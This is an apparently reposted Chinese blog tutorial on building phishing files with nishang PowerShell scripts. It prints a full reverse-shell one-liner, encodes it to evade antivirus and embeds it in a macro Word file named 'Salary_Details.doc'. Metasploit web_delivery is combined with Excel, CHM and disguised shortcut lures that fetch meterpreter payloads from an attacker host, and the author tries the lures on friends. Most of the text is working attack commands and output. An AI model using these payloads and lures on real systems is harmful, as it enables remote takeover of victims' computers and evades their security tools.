使用powershell Client進行有效釣魚
0x00 簡介
Powershell是windows下面非常強大的命令列工具,並且在windows中Powershell可以利用.NET Framework的強大功能,也可以呼叫windows API,在win7/server 2008以後,powershell已被整合在系統當中。 除此之外,使用powershell能很好的bypass各種AV,在滲透測試中可謂是一個神器。此次使用的是開源的powershell指令碼集nishang中的client來製作釣魚檔案。其中office型別檔案可以達到釣魚目的的前提是office已經啟用宏
。
0x01製作word釣魚檔案
下載powercat (powershell的nc)
載入powercat :
PS G:\github\Pentest\powershell\powercat-master> . .\powercat.ps1
PS G:\github\Pentest\powershell\powercat-master> powercat
You must select either client mode (-c) or listen mode (-l).
載入以後使用powercat開啟監聽:
PS G:\github\Pentest\powershell\powercat-master> powercat -l -v -p 4444
詳細資訊: Set Stream 1: TCP
詳細資訊: Set Stream 2: Console
詳細資訊: Setting up Stream 1...
詳細資訊: Listening on [0.0.0.0] (port 4444)
測試載入Invoke-PowerShellTcp並執行:
PS G:\github\Pentest\powershell\nishang-master\Shells> . .\Invoke-PowerShellTcp.ps1
PS G:\github\Pentest\powershell\nishang-master\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 127.0.0.1 -Port 4444
執行結果如下圖:
可以發現,直接獲取了一個powershell的shell。下面製作word檔案。 複製nishang中Invoke-PowerShellTcpOneLine.ps1 client程式碼,如下:
$client = New-Object System.Net.Sockets.TCPClient("192.168.52.129",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text language=".encoding"][/text]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
使用Invoke-Encode.ps1進行編碼,編碼之前記得要修改ip以及自己要監聽的埠
PS G:\github\Pentest\powershell\nishang-master\Shells> cd ..\Utility\
PS G:\github\Pentest\powershell\nishang-master\Utility> . .\Invoke-Encode.ps1
PS G:\github\Pentest\powershell\nishang-master\Utility> Invoke-Encode -DataToEncode '$client = New-Object System.Net.Sockets.TCPClient("192.1
68.52.129",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$da
ta = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendb
ack + "PS " + (pwd).Path + "> ";$sendbyte = ([text language=".encoding"][/text]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream
.Flush()};$client.Close()' -IsString -PostScriptCommand
Encoded data written to .\encoded.txt
Encoded command written to .\encodedcommand.txt
複製encodedcommand.txt的程式碼如下:
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('TVHNasJAEL4X+g5DSMsuNUtMG6mGCm1oi1CiNEIP4mFNBpMao5gRFfXdu5uY1L3MMHx/M2tGWYo5wQsEuLOGs1+MCMJDQbgUAZIIV9ECqRBjf+SXSGa0u45od56Fq4rTNVpP6nHPLGiDcqmEzEpSfCKF5YxxbzI7EE6mU1PXQoFsITqu++ie7o722dslaYaMmammV0LiG2XMKnwL7BZUrfjCfE4J52DlCDY/emYsSSoeu1rAGh/WGMgl1quMcU/iNfQHg/c8WsVpPueXfKqtXbRJqjfBPJ7JaKFFU9xD5eD079twguGWrIoGV1AHyuQ18QGMUQiGqmy9i7kYSUr0sA/GhaMMtfyEdDC8ZJr2emXGMtubzsT+HZoTi59NSsgaHZW76evzNNiPbFskjJ+9+lf8bFUg47c3fw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
載入Out-Word.ps1並生成後門,這裡要注意,要把payload裡面的單引號多加一個單引號!
PS G:\github\Pentest\powershell\nishang-master\Utility> . ..\Client\Out-Word.ps1
PS G:\github\Pentest\powershell\nishang-master\Utility> Out-Word -Payload 'powershell -c Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(''TVHNasJAEL4X+g5DSMsuNUtMG6mGCm1oi1CiNEIP4mFNBpMao5gRFfXdu5uY1L3MMHx/M2tGWYo5wQsEuLOGs1+MCMJDQbgUAZIIV9ECqRBjf+SXSGa0u45od56Fq4rTNVpP6nHPLGiDcqmEzEpSfCKF5YxxbzI7EE6mU1PXQoFsITqu++ie7o722dslaYaMmammV0LiG2XMKnwL7BZUrfjCfE4J52DlCDY/emYsSSoeu1rAGh/WGMgl1quMcU/iNfQHg/c8WsVpPueXfKqtXbRJqjfBPJ7JaKFFU9xD5eD079twguGWrIoGV1AHyuQ18QGMUQiGqmy9i7kYSUr0sA/GhaMMtfyEdDC8ZJr2emXGMtubzsT+HZoTi59NSsgaHZW76evzNNiPbFskjJ+9+lf8bFUg47c3fw=='')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();'
Saved to file G:\github\Pentest\powershell\nishang-master\Utility\Salary_Details.doc
0
PS G:\github\Pentest\powershell\nishang-master\Utility>
執行word以後,則會反彈shell,在啟用宏的計算機上沒有任何提示,未啟用宏的計算機會有啟用宏的提示。
獲取反彈的powershell可以很容易的升級到metasploit的meterpreter。
0x02製作excel釣魚檔案
首先使用msf的web_delivery開啟一個powershell的監聽:
#bash
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set LHOST 192.168.52.129
LHOST => 192.168.52.129
msf exploit(web_delivery) > set URIPATH /
URIPATH =>
msf exploit(web_delivery) > exploit
開啟服務如下圖:
使用Out-Excel.ps1製作excel釣魚檔案:
D:\temp>powershell
Windows PowerShell
版權所有 (C) 2015 Microsoft Corporation。保留所有權利。
PS D:\temp> . .\Out-Excel.ps1
PS D:\temp> Out-Excel -PayloadURL http://192.168.52.129:8080/ -OutputFile D:\temp\test.xls
Saved to file D:\temp\test.xls
0
其中http://192.168.52.129:8080/
是msf開啟的服務地址。 執行excel,獲取meterpreter會話如下圖:
0x03製作chm釣魚檔案
依然使用msf開啟powershell的web_delivery,使用Out-CHM製作chm釣魚檔案:
PS D:\temp> Out-CHM -PayloadURL http://192.168.52.129:8080/ -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Microsoft HTML Help Compiler 4.74.8702
Compiling d:\temp\doc.chm
Compile time: 0 minutes, 1 second
2 Topics
4 Local links
4 Internet links
0 Graphics
Created d:\temp\doc.chm, 13,524 bytes
Compression increased file by 324 bytes.
PS D:\temp>
執行doc.chm,獲取meterpreter會話:
缺點是會彈出黑框框。丟給幾個小夥伴測試,都上線了(23333)。
0x04製作快捷方式釣魚檔案
依然使用之前開啟的web_delivery,使用Out-Shortcut製作快捷方式釣魚檔案。
PS D:\temp> . .\Out-Shortcut.ps1
PS D:\temp> Out-Shortcut -PayloadURL http://192.168.52.129:8080/ -HotKey 'F3' -Icon 'notepad.exe'
The Shortcut file has been written as D:\temp\Shortcut to File Server.lnk
其中PayloadURL為web_delivery服務地址,Icon為快捷方式的圖示,HotKey為快捷鍵。 右鍵屬性快捷方式,可以看到快捷方式指向我們的服務地址,如下圖:
執行快捷方式,可以獲取meterpreter會話:
0x05小結
測試發現,上面幾個方式還是挺有效的,使用chm方式更容易成功些,因為使用了powershell,防護軟體並沒有報警,其中還有WebQuery、java以及hta型別的釣魚檔案生成指令碼,筆者測試java以及hta方式的沒有成功,這裡就不介紹了,至於WebQuery方式的在FB上已經有詳細的介紹:傳送門 有興趣的小夥伴可以繼續研究研究。
相關文章
- 透過.PAC進行網路釣魚2020-08-19
- 使用Outlook欺騙性雲附件進行網路釣魚2022-01-22
- 釣魚釣魚去2022-03-11
- 釣魚篇-其他釣魚2024-03-09
- 釣魚篇-郵件釣魚2024-03-07
- 釣魚篇-網路釣魚2024-03-08
- 釣魚篇-其他型別釣魚2024-03-09型別
- 釣魚學習2024-10-15
- XSS漏洞釣魚2020-11-19
- 釣魚小技巧-XLM2021-11-27
- 釣魚網站與反釣魚技術剖析(圓桌會議)2018-04-12網站
- 使用Powershell對目標進行螢幕監控2018-05-24
- 網路釣魚攻擊2023-09-25
- 釣魚?這是反代理!2020-08-19
- 使用web client對 vcenter 進行補丁升級2023-03-11Webclient
- 網路釣魚是什麼?網路釣魚攻擊的形式有哪些?2024-02-02
- 如何有效辨別網路釣魚電子郵件?這六點要牢記2022-07-13
- 釣魚攻擊防不勝防,該如何預防網路釣魚攻擊?2022-08-24
- 盜取使用者資訊,進行雙重勒索,揭秘釣魚軟體在疫情期間的生財之道2021-04-08
- 釣魚攻擊時間軸,你知道常見的釣魚攻擊有哪些嗎2020-08-26
- 【NOIP2011模擬11.1】釣魚2020-10-05
- 郵件釣魚攻擊與溯源2019-02-13
- 揭秘駭客新招:如何利用PDF釣魚攻擊使用者?2024-03-15
- 【釣魚攻擊】外貿白領:比“貿易戰”更頭疼的釣魚攻擊來襲!2019-10-17
- “!提醒:續購防毒”釣魚網站套路2024-10-03防毒網站
- Proofpoint:2024年網路釣魚報告2024-08-08
- 如何防範釣魚網站詐騙?2022-09-15網站
- 關於釣魚郵件,你知道多少?2020-05-28
- 專案管理如何有效進行?2022-03-18專案管理
- 如何有效進行任務管理?2021-03-17
- PowerShell 使用2024-06-06
- PowerShell使用2024-06-10
- 威脅情報:網路犯罪分子利用IPFS進行網路釣魚和惡意軟體活動2022-11-16
- 攻擊者利用新的“NativeZone”後門進行網路釣魚,涉及24個國家3000個賬戶2021-06-01
- 記一次完成的釣魚實戰2021-11-29
- 網路釣魚 你知道如何識別嗎?2020-08-21
- 網路釣魚,你要怎麼防範2020-08-14
- 記一次釣魚靶機測試2022-02-28